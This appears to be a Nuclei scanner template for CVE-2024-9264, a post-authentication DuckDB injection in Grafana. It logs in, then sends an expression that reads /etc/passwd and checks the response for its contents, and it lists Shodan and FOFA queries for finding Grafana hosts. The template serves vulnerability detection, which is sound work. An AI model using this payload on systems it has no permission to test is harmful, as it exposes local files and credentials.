Grafana Post-Auth DuckDB - SQL Injection To File Read

id: CVE-2024-9264

info:
  name: Grafana Post-Auth DuckDB - SQL Injection To File Read
  author: princechaddha
  severity: critical
  description: |
    The SQL Expressions experimental feature of Grafana allows for the evaluation of `duckdb` queries containing user input. These queries are insufficiently sanitized before being passed to `duckdb`, leading to a command injection and local file inclusion vulnerability. Any user with the VIEWER or higher permission is capable of executing this attack. The `duckdb` binary must be present in Grafana's $PATH for this attack to function; by default, this binary is not installed in Grafana distributions.
  impact: |
    Authenticated users with VIEWER or higher permissions can exploit SQL injection to read local files and execute commands through duckdb queries when the duckdb binary is present, potentially exposing sensitive configuration files and credentials.
  remediation: |
    Apply the vendor-supplied patch or upgrade to a non-vulnerable version.
  reference:
    - https://x.com/nol_tech/status/1847639874909749443
    - https://github.com/fkie-cad/nvd-json-data-feeds
    - https://nvd.nist.gov/vuln/detail/CVE-2024-9264
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.9
    cve-id: CVE-2024-9264
    cwe-id: CWE-94
    epss-score: 0.97781
    epss-percentile: 0.99897
  metadata:
    max-request: 2
    vendor: grafana
    product: grafana
    shodan-query:
      - http.title:"grafana"
      - cpe:"cpe:2.3:a:grafana:grafana"
    fofa-query:
      - app="grafana"
      - title="grafana"
    google-query: intitle:"grafana"
  tags: cve,cve2024,grafana,sqli,lfr,authenticated,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /login HTTP/1.1
        Host: {{Hostname}}
        content-type: application/json

        {"user":"{{username}}","password":"{{password}}"}

    matchers:
      - type: word
        part: header
        words:
          - "grafana_session"
        internal: true

  - raw:
      - |
        POST /api/ds/query?ds_type=__expr__&expression=true&requestId=Q101 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "from": "1729313027261",
          "queries": [
            {
              "datasource": {
                "name": "Expression",
                "type": "__expr__",
                "uid": "__expr__"
              },
              "expression": "SELECT content FROM read_blob('/etc/passwd')",
              "hide": false,
              "refId": "B",
              "type": "sql",
              "window": ""
            }
          ],
          "to": "1729334627261"
        }

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:"

      - type: word
        part: body
        words:
          - '"data":{'
# digest: 490a0046304402200ff66c287d50fb55a9bdbdb4e49f7983766359ee7a44b2f8f83b36a5b3506498022061bf793b4640f328e9cf6f8c902c5acb7d045d0c867c74cc44d0addd8b247842:922c64590222798bb761d5b6d8e72950